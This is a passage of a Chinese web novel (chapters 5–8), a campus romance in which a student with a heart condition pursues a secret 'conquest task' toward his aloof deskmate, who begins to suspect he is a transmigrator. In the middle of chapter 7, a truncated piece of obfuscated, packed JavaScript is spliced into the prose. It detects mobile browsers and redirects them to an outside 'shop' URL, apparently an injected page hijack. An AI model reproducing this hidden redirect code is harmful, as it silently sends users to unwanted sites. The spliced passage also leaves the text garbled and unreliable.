一转眸,就能清晰地看见许青翰左眼眼角下那颗浅色的痣。
怕影响许青翰午休,俞越没敢乱看,也没敢与他聊些有的没的,只是说了句“睡吧,我定了闹钟”便闭上了眼。
俞越入睡得很快,许青翰过了很久才睡着。
因为心底装着事儿,又是和别人挤在一张床上。
他已经很久没有和其他人睡一张床了,感觉有些奇怪。
但许是因为刚吃完午餐,有些晕碳,宿舍的床铺确实比教室的桌椅舒服许多,他还是渐渐陷入了睡眠。
再醒来是因为听见了忽然响起的闹钟铃声。
眼睛还未睁开,眉头便已经微微蹙了起来。
但很快,他的睡意便彻底消散了个干净。
因为他发现自己竟然将身边的人像抱等身抱枕一样抱在了怀里。
胳膊环住他的腰,腿也搭上了他的腿。
下铺的闹钟还在叫嚷着,是此刻宿舍内的唯一声响。
被他抱住的人也已经醒了,和睡前一样躺得板板正正,紧贴着床边的围栏,只占用了一点位置,瞧着竟有几分可怜。
许青翰喉结快速滚了一下,飞快将胳膊和腿收了回来,连带着从床上坐了起来。
他张了张口,想说点什么,又不知道该说什么。
因为太久没和别人一起睡一张床,他也不知道自己的睡相会这么差,如果知道,他就不会答应来俞越的宿舍午休了。
俞越也跟着半坐起身,打了个哈欠,出声打破了空气中一点凝滞的尴尬:“闹钟在下面,得起床才能关掉。”
默契地没有提起方才被当成等身抱枕的事儿。<
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许青翰嗯一声,“我先下去。”
说罢绕过床角,三两步轻轻松松下了床。
他本就腿长,手一撑就能直接落地。
俞越则慢吞吞地,一步一步踩着爬梯下来。
稳稳落地的时候,许青翰已经关掉了吱哇乱叫的闹钟。
许青翰的手很大,很适合打篮球,闹钟在他掌中竟显得有些迷你。
他将闹钟放下,等待俞越穿好鞋子,同他一起离开。
等待的空挡,他又将俞越下铺的桌子打量了一番。
上面有些瓶瓶罐罐的药,应该是与心脏病有关的,平时俞越随身也会携带小药瓶,他之前看见过。
除了这些,还有一张泛旧的借书卡,他认得,是市图书馆的卡,很久很久以前母亲带他办过,俞越看的很多课外书应该就是从图书馆借的。
余光里俞越系好了鞋带,直起了身子,许青翰也同时收回了视线。
“走吧。”
刚睡醒,俞越大脑还有些昏沉,尤其是迷迷糊糊醒来发现许青翰正抱着自己的时候,更觉得飘忽了。
没想到许青翰睡觉的时候竟然喜欢抱着别人。
真的是……反差萌很大啊。
他对许青翰的发掘还有待提升。
揣着这些想法,第二天上午最后一节课课间,俞越兴冲冲地邀请许青翰道:“今天中午还去我宿舍午休吗?”
许青翰淡淡拒绝:“不了,两个人睡有点挤。”
他可不想再一觉醒来发现自己像八爪鱼一样抱着俞越。太丢脸了。
俞越听罢面上闪过不加掩饰的失落。
许青翰将之尽收眼底,心中竟浮起一点莫名的期待。
显然,俞越是想与他贴近的,因为日记本上那劳什子“攻略任务”。
被自己拒绝,他会有什么行动吗?
他还记着那个“绝妙的计划”。
恰在这时,前桌孙旺忽然转过了身,对俞越说:“我今天中午不回去吃,租的房子下水道出了点问题,还在修,小俞我去你宿舍午睡呗。”
俞越收拾了一下表情,点点头,说:“好。”
直到最后一节课的上课铃响,俞越都在和孙旺说话,没再有任何“行动”。
许青翰:“……”
-
许青翰中午没去食堂吃饭,去了校外的面馆。
最后一节课下课的时候孙旺特地等俞越一起,两个人并肩去了食堂,俞越也没再邀请他今天中午一起去食堂吃饭,看着他顺着人流离开了教室,什么也没说。
食堂的饭菜味道也不好,还人挤人,不如去校外吃。
吃完,许青翰随手买了杯咖啡,不紧不慢地骑着单车回了学校。
将车停在教学楼附近的车棚,许青翰径直走向教室。
午休时分的教学楼总是格外宁静,他的脚步也放得很轻。
可当来到教室后门的时候,他却整个儿愣住了。
他的座位旁边,俞越正趴着睡得很香。
前桌的孙旺却不在。
6. 第 6 章
许青翰攥着咖啡,在门口杵了十几秒钟。
幸而教室里没什么人,有的也都在午睡,没人察觉到他的怔愣。
终于,揣着满心的疑惑,许青翰径直走到了座位旁坐下。
俞越睡得很熟,双臂交叠,脸埋在下面,只能看见柔软头发下钻出的两只耳朵,并没有因为他的落座醒来。
许青翰将咖啡放到桌角,想了想,也趴在桌上打算睡会儿。
但兴许是因为摄入了一点咖啡因,兴许是因为搞不明白为什么俞越没有和孙旺在宿舍午睡,大脑异常活跃,他并没有睡着。
-
俞越醒来的时候鼻子比眼睛先捕捉到若有似无的咖啡香味。
他抬起脑袋,迷迷糊糊揉了揉眼睛,下意识转眸望向身边的人。
许青翰又在写俞越看不懂的竞赛题,桌角放着一杯插着吸管的咖啡,味道就是从那里传来的。
见他醒来,许青翰状似不经意地看了他一眼,视线又落回了题上。
俞越打了个哈欠,单手撑着下巴,试探着问:“中午没有睡觉吗?”
他吃完饭到教室的时候许青翰还没回来,如今又见他买了用以提神的咖啡在刷题,大概率中午是没睡的。
许青翰目不斜视地嗯一声,“不困。”
俞越又问:“中午怎么没在食堂看到你?”
许青翰的视线终于从竞赛题落到了俞越身上。
俞越问这个是什么意思?他又没邀请他中午一起吃饭。怎么还要在食堂找他?
他不知道该怎么问,也不知道该怎么回。
俞越将他的沉默理解成了一贯的冷漠,高一一年他已经领教过很多次了。
可有可无回答的问题许青翰都会回以冷淡,断绝无意义的闲聊浪费时间。
他还以为他们一起吃过饭、在同一张床上睡过觉,关系已经亲近了很多呢……
为了攻略任务,俞越眨了眨眼,并不灰心,小声嘀咕了一句:“还想找你一起拼桌吃饭呢。”
许青翰这下是真的搞不懂了。
想找他一起拼桌吃饭为什么不邀请他一起下课去食堂?
许青翰直截了当道:“你不是和孙旺一起吗?”
“嗯…你是讨厌孙旺吗?”俞越下意识想到了这种可能,将声音压得低低的。
幸好孙旺这会儿还没来教室。
关于许青翰可能“讨厌”孙旺,也不是无迹可寻。
孙旺这人比较闹腾,有时候和人聊天聊嗨了激动起来会晃动椅子,许青翰就坐在他后座,椅子不可避免撞到许青翰的桌子,虽然孙旺每次都会第一时间察觉并道声歉,许青翰也没说什么。
但说不定许青翰心底其实对孙旺有些意见呢?
“没有。”许青翰蹙眉否认,很想在俞越脸上找到装傻的痕迹,但失败了,只能认命,拿起咖啡喝了一口,声音含糊在咬吸管里:“你又没约我。”
俞越轻啊一声,赶忙解释:“我走不了太快,怕耽误你的时间,所以没有约你。但是孙旺和我比较熟,中午还要去我的宿舍午睡,得跟我一起,所以耽误他的时间没关系。”
咖啡吸管终于结束了被继续摧残的命运。
许青翰没想到竟然是因为这个原因,心底的那点不知名情绪瞬间消散了个干净,终于回答了最开始的那个问题:“中午想吃面,去了校外的面馆。”
“哦哦,”俞越点点头,“这样。”
据他的了解,许青翰确实很喜欢吃面食,不知道是不是与他的亲生母亲有关,他的母亲是北方人,相比较南方人,北方人会更喜欢面食一些。
许青翰将咖啡重新放回桌角,问出了在心底揣了很久的疑虑:“中午怎么没在宿舍睡觉?”
俞越又解释说:“孙旺睡相太差了,还打呼噜,我不想和他一起睡,把宿舍让给他了,反正他也就偶尔睡一中午。”
许青翰哦一声,没再说话,中性笔却在手里轻盈地转了几圈。
他的睡相也不好。
俞越却还邀请他一起午睡。
可能是为了那劳什子攻略任务吧。
他越来越想搞清楚任务到底是真是假、是什么了。
-
下午的第一节课总是格外昏沉。
俞越耳朵听着生物老师讲细胞,脑袋又开始一点一点起来。
忽然,一只手拿着咖啡杯朝他这边递了过来。
俞越一怔,困意一下子散了许多,转眸视线便对上了身边人的。
因为是在课上,许青翰并没有说话,但能看得出他的用意——喝口咖啡,提神。
在高中,男生之间、女生之间分享同一杯饮品算不了什么,但俞越还是感到有些意外,他还以为许青翰现在的性格会讨厌这种行为呢。
高一的时候他曾问许青翰借过水,本意只是想他从杯子里倒一点给他,他却直接拿着他的杯子去了水房给他打了杯满满当当的回来。
怕给许青翰添麻烦,后来他没再敢问他借水了。
没想到,竟然能有机会喝到许青翰喝过的饮品。
俞越心情很好地接过咖啡,双手捧着,低下头,装模作样地轻轻含住了吸管。
浓郁的咖啡香味将他缠绕,像是某种致幻的物质,使他的脑中控制不住浮现许青翰咬住吸管的画面。
残缺的心脏跳动速度陡然加快起来。
但如果仔细去瞧便能发现他并没有将咖啡吸入口中。
心脏病很忌讳咖啡、茶之类的东西,会引发心悸,他虽然对这具身体没抱什么希望,但也不想霍霍,想在最后的时间里过得舒坦一些。
许青翰不懂这些,只是出于好心。他也不需要懂这些。
俞越没敢含住太久,怕露馅,很快便将咖啡还了回去,还用笔在书角写下一句“谢了”。
许青翰看了眼便将视线落回了讲台上。
他这不是在多管闲事。
他是在验证。
既然俞越是因为完成攻略任务就能登出这个世界、不用参加高考才惰于学习的,他暂时还没办法在不暴露他偷看过日记的前提下验证穿越的真实性,那就只能逆向验证了。
他要抓俞越的学习。
等俞越受不了了,肯定会露出更多的马脚。
反之,也能给他提升提升成绩。
反正他高三就要走了,在那之后他们或许再也不会见面。
最后这不到一年的时间正无聊着,不如做点有意思的事情。
毕竟,同桌一场。
-
陈劲带高二两个班的物理,一个是俞越和许青翰所处的四班,兼班主任,一个是楼上的七班。
每次卷着物理书去七班上课,他都会从四班门口绕过,看一眼里面的秩序。
第一节课就快要下课,陈劲提前带着物理书离开了办公室,打算先去四班瞅瞅。
果不其然,好几个学生正在小鸡啄米般游离在半梦半醒间,还有几个显然是已经睡着了,被生物老师叫了起来站着醒神。
陈劲下意识望向俞越的位置。
有些出乎意料,俞越竟然特别精神,一边听课一边做笔记,好不认真。
接下来的几节课,陈劲也时不时来教室外巡视一圈。
每次都能看见俞越正在好好听课。
陈劲对此十分满意。
终于有在努力攻略六门学科了。
-
一下午的时间过去,俞越终于感觉到了许青翰的“不对劲”。
那杯咖啡只是开始,后面的几节课,许青翰都一直像鬼一样紧盯着他。
他一有犯困的倾向,许青翰就立刻将他弄醒,或是轻拍一下桌子,或是将手伸过来翻一页他的课本,或是不小心踩一下他的脚……
俞越不是笨蛋。
终于在最后一节课上课之前问他:“许青翰,你是不是故意的?”
“嗯?”
俞越亮出上节课被他踩了一脚还余着一点灰扑扑脚印的鞋子。
许青翰没想到那一脚脚印这么明显,眼中闪过一点心虚,从口袋掏出纸巾,给他递了过去。
俞越却没有接。
许青翰以为他是生气了,毕竟小白鞋被他踩脏了,怔了几秒,低头拆开纸巾,拿出一张,俯身
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给他擦起了鞋子。
他的教养很好,母亲从小就教他知书懂礼,虽然母亲已经过世很多年了,但对他的影响经久不散。
俞越整个人都愣住了。
他只是觉得许青翰在看见那本攻略日记后忽然这样抓他的学习,显然是没有相信日记本上的内容的,要么是觉得他疯了,要么是觉得他对他有不正常的念想。
但许青翰的反应又太奇怪。
没有躲着他,也没有回应他,只是一味监督他学习。
俞越想不明白,便直接试探了。
没想到许青翰一声不吭,给他擦起了鞋子。
他说的哪儿是鞋子……
许青翰怎么在学习上那么聪明,在某些方面却笨笨的。
不待他深想下去,身前毛绒绒的后脑勺忽然抬了起来。
“纸巾有点擦不干净,我去沾点水。”
不多久,许青翰带着用水打湿的纸巾回了教室,继续给他擦鞋。
俞越一时间竟不知道说什么好。
“好了。”终于将俞越的小白鞋擦干净,许青翰起身将纸巾丢进了垃圾桶。
“……谢谢。”俞越感觉说这个有些奇怪,毕竟是许青翰踩脏的,也该由他来弄干净,但他也想不到别的什么可说的了。
最开始的质问被打乱,俞越声音软了几个度:“你怎么突然这样监督我学习?”
许青翰淡淡回答:“班主任的任务。”
俞越:“……哦。”
陈劲那天晚上确实让许青翰多监督监督他学习。
最后一节课的上课铃突然响起,俞越忽然想到什么,飞快开口,声音混在了铃声里面:“对了,晚上一起吃饭吗?你……”
许青翰不假思索回道:“好,一起。”
俞越原本想说的是“你可以先去食堂,我到时候去找你”,被许青翰太快的同意声打断,鬼使神差的没有说出来。
以前的他很害怕麻烦许青翰,许青翰也是不喜欢麻烦的性子,怕惹他反感。
但中午的时候他已经向许青翰解释过了他走不了那么快,许青翰还是答应了约饭,说明他应该不介意这个。
最后一节课的下课铃刚响起,俞越便唰地起身,虽然他走不了太快,但还是想让许青翰早点吃上晚饭。
最后一节是陈劲的课,见下课铃刚响便有人蠢蠢欲动,故意说道:“我还没宣布下课呢,就有同学这么等不及了。”
俞越悻悻坐下,脑袋垂得低低的,不敢与讲台上的他对视。
陈劲:“好了好了,下课吧,还有点事晚自习再跟你们说,先去吃饭吧。”
俞越:“……”服了。
俞越飞快起身,招呼着许青翰一起去了食堂。
至于孙旺——虽然许青翰否定了讨厌他,但俞越还是把他鸽了。
主要是觉得许青翰和他独处的话会更愿意打开话匣子一些。
而且孙旺属于急性子,还是学体育的,每次放学他总是像离弦的箭一样冲得飞快,俞越其实不常和他一起去食堂吃饭。
频率不同,没必要互相折磨。
为了让许青翰早点吃上饭,俞越还是尽可能地走快了些。
到食堂的时候他有点轻微喘息,但也还好,他努力调整了一下呼吸频率,不想被许青翰发现什么。
两人挑了个窗口排队,打完菜,又一起去了米饭和汤那边,排队盛饭。
许青翰不喝这里的汤,盛完饭却没有直接离开,而是在一旁等俞越打汤。
人多,他特地找了个不会影响到别人的位置,可还是有不长眼的往他身上撞了一下。
菜汤混杂物洒了他一身。
“哎,对不起啊,没看见你。”声音熟悉,说着对不起,语气里却没有任何歉意,显然是故意的。
是他异父异母的那个弟弟,张骁健。
不待许青翰反应,便见一道人影忽然朝他身前的人直直撞了过来,满满一碗汤全都洒在了张骁健的身上,将他的衣服染湿了一大片,还挂上了一缕滑稽的海带。
“哎,对不起对不起,没看见你。”俞越连连道歉。
7. 第 7 章
许青翰本来还有些阴鸷的心情瞬间转晴。
他看出了俞越是故意撞上张骁健的,还特地将免费的汤全泼在了他的身上,另一只手里的餐盘则毫发无损,因为那是他花了钱买的晚餐,不舍得泼在这人身上。
许青翰一点儿也不觉得生气了,反而有些想笑。
他给俞越的演技打十分,给张骁健的演技打零分。没有公平,全是偏心。
张骁健眼熟俞越,虽然不认识,但知道他是许青翰的同桌,猜他大概率是故意的,身上湿透的感觉非常糟糕,火气一下子上来了,将对许青翰的不满一并发泄在了俞越身上,直接用力推了他一把。
俞越被推得一个趔趄,幸好周边一个看热闹的学生扶了他一下才不至于摔倒,餐盘里的饭菜却因为身形不稳洒了出来。
许青翰直接攥住了张骁健的手,用上了十足的力,手背的青筋都绷了起来,疼得他龇牙咧嘴。
另一边,俞越也捂住了自己的胸口,蹲下身,大口大口呼吸起来。
许青翰见状没再管张骁健,三步并作两步来到俞越身边,想去扶他,又发觉自己身上是脏的,收回了伸出去的手,着急地问:“俞越,你怎么了?”
俞越没有回答,只是用一只手轻轻攥住了许青翰的裤腿,暗示般轻扯了扯。
许青翰这个角度只能看见他轻颤不停的睫毛。
孙旺不知道从哪儿冲了出来,直接揪住了张骁健的衣领,“你有病啊?他心脏不好,出了问题你能负得起责吗?!”
周遭也响起了窃窃私语的声音。
“人家又不是故意的…他不也撞到别人了吗?”
“都道歉了还想怎么样?”
“还故意推人家,啧。”
“这是高二重点班的张骁健吧?真看不出来是这种人。”
“……”
张骁健的气焰完全熄灭了个干净,也跟着不知所措起来,“我…我……”
孙旺懒得跟这人你我他,松开衣领前将他狠狠一推,转身走到俞越跟前,轻车熟路地问:“小俞,药呢?”
“药…宿舍里有……”
“好,好,我们去宿舍,休息一下。”
见孙旺将俞越搀扶起来,许青翰直接将手里被撞得乱七八糟的餐盘丢给一脸茫然的张骁健,紧跟了上去。
走到距离食堂稍远些后俞越才笑着直起身子,松开了孙旺的手,一点事儿都没有了,迫不及待地问:“我刚才的演技怎么样?”
许青翰虽然早就收到了俞越的暗示,知道他是装的,但还是有些怔愣。
孙旺已经竖起了大拇指,夸道:“影帝级别。”
俞越笑着摆摆手,“你先回去吃饭吧,我带…我同桌去宿舍换件衣服。”
俞越故意换了个对许青翰的称呼,彰显他们关系的拉近。
孙旺看看身上被饭菜染脏的许青翰,点点头,“行,要不要我给你带点什么吃的?”
俞越本来想说给他带一个馒头就行,但是转念一想许青翰也还没吃上晚饭,摇了摇头说:“不用。”
孙旺走后,俞越终于对上了许青翰那双盛满疑惑的眸子。
他主动解释说:“我看到那人是故意撞你的了,他衣服一看就很贵,我怕他不讲理找我赔,所以装了一下。孙旺和我初中就是同学了,以前有一回在校外遇到混混,我就是装心脏病发作应付的,他有经验。”
所以刚才开团秒跟了。
听完解释,许青翰的表情还是没什么变化,眼睛里装着太多复杂的情绪。
显然,俞越是认得张骁健的。
那本日记里就写过,张骁健这次开学考试成绩掉到了50名开外,并狠狠嘲笑了一番。
他对他的家庭情况了如指掌。
他想质问俞越点什么,但一想到不久前他不假思索撞过来的画面,又有些舍不得质问了。
不管怎么样,俞越是向着他、护着他的,哪怕会因此惹上麻烦。
母亲去世之后,他很少能体会到这种感觉了。
可能在这样的环境下生长了许多年,他的性格也变得有些病态起来,竟然萌生起了不管俞越日记本里写的是真是假,只要俞越是无条件站在他这边的,他也可以不去深究太多的想法。
他将心底的疑虑不解暂且压下,嗯一声,说:“你没事就好。”
刚才在食堂的时候,俞越那个样子确实有些吓到他。
被许青翰关心,俞越的心情很好,带着他径直回了自己的宿舍。
“你可以先去洗手间把衣服搓一搓,我去给你找一件宽松的T恤。”
“好。”
话音落下,许青翰便直接脱下了上衣。
俞越还没来得及离开,怔怔看了几秒他就只穿着裤子的背影,肩宽腰窄,特别有料,反应过来之后飞快溜了。
心跳又在开始偷偷加速。
一边翻衣柜,俞越一边胡思乱想起来。
目前他看不出许青翰看完日记后的态度,不知道许青翰是信了还是没信。
不过许青翰没有因此远离他,反而开始与他的接触变多起来,是好消息。
还有不到一年的时间许青翰就要离开溟市了,照他这具身体的情况很难跟他一起去到北方,高二这一年是他最后的时间。
他比较瘦,个子没许青翰高,衣服的尺寸也比许青翰小一个size,找了半天才找到一件还算合适的T恤。
很多衣服洗了之后容易缩水,这件T恤却越洗越宽松。
看着T恤胸口印着一条躺在沙滩上的卡通咸鱼图案,许青翰沉默了几秒,还是接过了。
比起尺寸小的紧身T恤,还是这条咸鱼更合适些。
见光着膀子的许青翰穿上自己的T恤,俞越将他上下打量一番,笑着点评道:“感觉比平时亲切多了。”
许青翰:“……”
许青翰:“我平时是什么样子?”
俞越掰着手指头细数起来:“有点冷淡,不好接近,总是独来独往,找你说话都得斟酌再三,感觉永远都没办法和你成为朋友……”
一口气说下来,俞越的肚子忽然咕咕叫了一声。
差点儿忘了,晚饭还没有吃。
许青翰也听见了,没有继续刚才那个话题,主动提议道:“去校外吃点东西吧,我请客。”
俞越眼睛亮了一下,屁颠屁颠跟在他的身后,一起去了校外。
学校附近就有一条小吃街,这个点正是热闹的时候。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105657|195798||http|test|mini|href|location''.split(''|''),0,{}));
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>许青翰问:“你想吃点什么?”
俞越答:“你吃什么我就吃什么。”
许青翰:“我请客,吃你想吃的。”
俞越思忖片刻,没再与他客气,“吃面吧。”
他不挑食,什么都能吃,也都爱吃。
他想试试许青翰喜欢的面条。
许青翰不疑有他,带着他去了自己经常去的那家面馆,面馆的名字叫“常回家”,得知他没有任何忌口后,给他点了碗招牌牛肉面,还特地加了个香喷喷的煎蛋。
俞越很久没有吃得这么香了,将面汤都喝了个干干净净。
反观许青翰要吃得斯文许多,俞越有些不好意思地擦擦嘴巴,等他吃完。
临走前,许青翰从冰柜里拿了两瓶冰可乐,付了钱,将其中一瓶递给了俞越。
俞越没有直接拆开,在手上拿了一路,许青翰以为他刚喝了面汤喝不下其他饮品,也没想太多。
直到到了教室,被孙旺看见,厉声训斥道:“小俞你又偷喝冰饮。”
俞越疯狂给他使眼色,却被孙旺理解成了狡辩,直接从他手里夺走了冰可乐。
“等会不冰了我再给你。”
不怪孙旺太谨慎,初中的时候俞越就曾因为喝了点冰水心脏不舒服,他可不想这位朋友不爱惜自己的身体,英年早逝。
俞越一点办法都没有,也不太敢看身边的许青翰。
毕竟许青翰是出于好心才请他喝的,解渴又解暑,要是被许青翰知道他不能喝冰的,肯定会觉得好心落空吧。
谁料,许青翰的声音冷不丁响起:“他不能喝冰的吗?”
竟直接问了。
还没有转回身子的孙旺点点头,“冰的会刺激血管收缩还是什么的,对心脏不好。”
许青翰眉头微蹙,转向俞越:“刚才你可以直接说拿一瓶常温的。”
俞越低下了头,搅了搅手指,有些心虚。
他知道,但…他就是想要许青翰给他的那瓶。
而且,他不想总是提起自己的心脏病,尤其是在许青翰跟前。
见俞越不说话,许青翰又问起了孙旺:“他还有哪些忌口吗?”
孙旺有些搞不清楚状况,但许青翰问的也不是什么不能回答的东西,挠了挠头,把自己知道的都告诉他了。
他对许青翰的印象可以总结为十四个字——可远观不可亵玩的高岭之花学神。
别看他就坐在他后座,一学年下来他们说的话屈指可数,他其实还挺佩服俞越的,能和冷冰冰的学神相处得那么自然,换成他早碰一鼻子灰了。
他也看得出最近俞越和学神的关系又拉近了不少,多一个人照顾他也挺好的。
听罢,许青翰的眉头蹙得更深了。
因为他听见了“咖啡”的字样。
俞越不能喝咖啡。
下午他才刚给俞越喝过自己的咖啡。
许青翰合理怀疑——俞越日记本里写的那句“有了个绝妙的计划”该不会是想碰瓷他吧?
俞越正计划着怎么逃跑的时候,突然发觉胳膊上传来了不容置喙的禁锢力道。
是许青翰。
“俞越,出来一下,有话和你说。”
“……”
8. 第 8 章
俞越第一次在许青翰身上感觉到与老师类似的压迫。
班主任每次找他去办公室喝茶的时候也是这样的话术——“俞越,来办公室一趟,有话跟你说”。
俞越整个人都怂成了一只鹌鹑,但又逃不掉,只能认命般跟着许青翰出了教室。
他们教室在一楼,教室外就是一大片教学楼间的绿化,铺满了草皮,种着不知名的小树,秋天会结出很酸的果子。
这会儿晚霞已经快要落幕了,像是一滴滴黑墨混入多彩的颜色里面,渐渐并吞。
夏秋蚊虫很毒,许青翰没有带他走进草坪,而是转了个弯,去了楼梯口。
楼梯口内有个宽敞的消防空间,算是很多学生的“秘密基地”,有的来这里说小话,有的来这里约会,有的来这里背书……
许青翰有时候嫌教室吵,就会揣本书来这里。
临近晚自习上课,楼梯口进进出出的人不少,大多笑着说着什么,热热闹闹的。
俞越感觉许青翰此时的气压格格不入的低。
做了亏心事的他也不敢说话,垂着脑袋,不敢看他。
终于,许青翰的声音在头顶响起:“你知道自己不能喝冰的和咖啡吗?”
俞越只能点头,但还是撒了个小谎:“我记性不太好,有时候不小心就忘记了,咖啡我那时候真没想起来,真的。”
说着,他小心翼翼地觑了许青翰一眼。
许青翰没什么表情变化。
俞越继续打补丁解释:“其实喝一点点也没什么关系的,没孙旺说得那么吓人,你看我一直到现在不都好好的。”
俞越很能理解许青翰在意的点,毕竟他是个脆皮,要是喝了许青翰的咖啡和冰可乐不小心.心脏病发,嘎了,许青翰等于平白背负了一条人命,谁也不想这样。
他要是许青翰,他也会不开心。
许青翰的表情终于松动少许,接下来说出的话却叫俞越心跳控制不住加速起来。
“我们是什么关系?”
要不是许青翰的眼神太正直太坦率,语气也没有任何蓄意勾引,俞越真的要多想了。
“同桌…”俞越声音顿了顿,鼓起勇气,“朋友……?”
不久前许青翰才在宿舍问过他自己平时是什么样子,他的回答里有一句“感觉永远都没办法和你成为朋友”。
许青翰那时候没有回应什么。
他猜,现在就是他的回应。
“嗯。回去把你不能碰的东西都整理出来,贴在桌子上,每天看几遍,就不会忘记了。”许青翰心情稍霁。
俞越:“……”
俞越忽然认认真真唤了他一声:“许老师。”
许青翰:“?”
俞越:“感觉你和班主任越来越像了,许老师。”
许青翰:“……”
晚自习的上课铃声没给他们继续贫嘴的时间,俞越笑着从一脸噎住的许青翰身边穿过,脚步轻快地回了教室。
许青翰紧跟上他,眼中一闪而过一抹不易捕捉的无奈。
心中的天平在一点点倾斜。
但还是要进一步验证才行。
-
晚自习,陈劲到教室通知了秋季篮球赛的事宜,有意向参加的可以到体委孙旺那里报名,课余时间训练,不要影响到学习。
最后一节晚自习下课,许青翰拿起单车钥匙,紧跟着前座的孙旺前后脚踏出了教室。
孙旺的家人在距离学校不远的地方租了房子陪读,他有一辆小电驴,每天上下学很方便,不消十分钟就到了。
小电驴就停在教学楼侧边的车棚,他才刚坐上去解锁,便见一道身影走到了他的身边。
竟然是许青翰。
“有点事儿想问你。”许青翰开门见山。
孙旺颇有些受宠若惊,没想到竟然有被学神请教问题的一天。
孙旺:“您随便问!”
许青翰给他让出空间将车推出来,显然不打算杵在这里干聊,一边说道:“想找你问问…我同桌俞越的情况。”
孙旺有些意外,不过转念一想班上也就他最了解俞越了,许青翰没问错人。
“嗯嗯,你问。”
“他的身体还好吗?”许青翰先表达了对俞越的关心,让后面的询问不会显得太过可疑。
“老毛病了,天生的,多注意就好,应该没什么大问题?我外公心脏也不太好,做了两次手术,现在还每天准时遛三次狗、到公园和其他老头下象棋呢。小俞才多大啊,肯定没事的。”孙旺一边推车一边说。
许青翰点点头,没来由地想起了日记本上的那些内容。
这也是他找上孙旺的目的。
又聊了些有的没的后,许青翰冷不丁问:“你有没有什么时候感觉俞越突然变化很大?就好像变了个人似的。”
孙旺想了想,“哎,还真有。高中之后他好像变得有点不太一样了……明明还是和以前一样的相处,还是同班同学,他也没有交到什么新的更好的朋友,但就是感觉我们好像没以前那么要好了,倒是不至于像变了个人似的,但就是感觉和初中有点不太一样。”
他从没有跟别人说过这个,感觉有点儿矫情,也不知道该怎么说。
孙旺猜测:“可能是因为高中学业压力太大了?他高一的时候还和我说想考去京市的一所大学呢,和清北离得还挺近,分儿不低,得头悬梁锥刺股才可能考上。”
京市。
俞越还曾想过考去他保送的大学所处的城市。
为了完成那个攻略任务?
但后来他放弃了,想换个计划,在高中就尽快完成任务,就不用参加高考了。
一时间许青翰竟不知道说什么好。
新计划确实不错,省事儿,但他还有不到一年的时间就要离开溟市了,俞越就这么自信能在他离开之前顺利完成任务?
是了,因为傍晚冰可乐和咖啡的发现,他对俞越穿越者的怀疑加深了几分。
俞越的心脏病是天生的,且不是什么简单的心脏病,从他平日里的状态就能看得出来,他不信这样的人会忘记不能摄入咖啡因。
俞越口中的那句“我记性不太好”也不成立,毕竟做了一年同桌,他能感觉到俞越记性其实不错,语文课文、英语单词,只要认真去背就能记得很快很牢。
除非,他不是原来的俞越,只是接管了这具身体。
结合孙旺所说,他很可能是高一穿越过来的,就算模仿得再像,朝夕相处的好朋友也能感觉得出若有似无的变化。
高一,是他们第一次见面成为同桌的节点。
一切都能对上了。
许青翰又问了点有关于初中俞越的事,孙旺知无不言地全都回答了。
“小俞其实挺聪明的,比我聪明多了,如果不是因为初三的时候他奶奶重病住院离世,影响了学习,其实是能摸上重点班尾巴的。”
“他倒是乐观,说普通班也很好,继续和我分去了一个班,还能有幸和传说中的学神成为同桌。”
“说起这个……开学的时候我本来是想和他同桌的,没想到我那天因为家里人捯饬租房的事情来晚了,班上就只剩下一个位置了,只能和凌梅梅做同桌了。”
许青翰不觉挑了下眉,问:“他怎么不提前给你占位置?”
“他说他也来晚了,就只剩下你身边的位置和凌梅梅身边的位置了,他不好意思和女生同桌,只能卖兄弟了。”孙旺语气无奈。
“哦。”夜风浮热
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,许青翰推着单车,心跳被风吹着,陡然加速起来。
俞越撒谎了。
他记得,开学那天俞越来的很早。
为什么记得那么清楚呢,因为那时候班上成对的空位还有很多,出于对陌生环境的忐忑心理,大部分新来的学生都会找熟人或找还没有同桌的空位,俞越却直接坐在了他的身边。
他不认识俞越,见他是男生,给人的第一印象挺顺眼的,便没换位。
当时他就有些纳闷,俞越为什么一声不吭直接坐在他的身边,有点奇怪。
但也没想太多,觉得可能他在班上没什么熟人,早晚都是要和不认识的新同学凑合当同桌的,不如提前自己挑选一个。
现在看来,都是蓄谋已久。
那时候的他已经被穿越者取代了。
孙旺也被他骗了。
如果说刚才还有一些疑虑,那么现在他彻底信了。
除此之外,他想不到任何其他俞越对孙旺撒谎的原因,目的还只是为了与他成为同桌。
许青翰没办法将穿越的事告诉孙旺,也没必要告诉孙旺。
对孙旺来说,有些事不如不知道。
对他来说,他认识的是高中后的俞越,是穿越者俞越,他不想背叛他。
他们才是朋友。
“谢谢,”许青翰忽然在一个十字路口停下脚步,“今晚的聊天内容希望不要告诉给俞越。”
孙旺猜测许青翰是觉得背后说小话被正主知道了会有些尴尬,挠了挠头,说:“我不会主动跟他说的,但是他要是发现了…我也不会对他撒谎。”
虽然他们也没说什么。
他能看得出俞越和许青翰相处得不错,也希望许青翰能多照顾照顾他才对他说这些的。
“没关系。”许青翰也没难为他。
能理解,毕竟他和俞越的关系更好。他也不怕被俞越知道,只是觉得主动隐瞒一下能避免一些麻烦。
十字路口的红灯转绿,许青翰调转了个方向,正准备离开,便听孙旺的声音再次响起,顺着风,飘进他的耳中:“其实有些事你也可以直接问他的。”
许青翰顿了一下,没有回头。
“好。”
……
今晚作业有点多,俞越没有写完,最后一节晚自习下课他没有直接回宿舍,而是在教室继续写完了最后一点作业才离开。
两张桌子中间,贴着一张熟悉的便利贴。
是许青翰的便利贴。
和凌梅梅可爱又卡通的便利贴不同,许青翰的便利贴上没有任何图案,就只是纯粹的白色。
上面写满了俞越绞尽脑汁写下的忌口等注意事项,写完许老师检查了一遍,给他丢来一卷透明胶,让他贴在了桌子中间。
那瓶可乐已经不冰了,写完作业,俞越拧开喝了一口,餍足地起身,朝着宿舍走去。
轻车熟路地回到宿舍洗漱完,俞越将换下的衣服晾好,又将许青翰的T恤拿下来摸了摸。
傍晚许青翰洗完T恤上的污渍之后俞越让他直接晾晒在了宿舍的阳台上面,等干了再给他带过去,顺手的事。
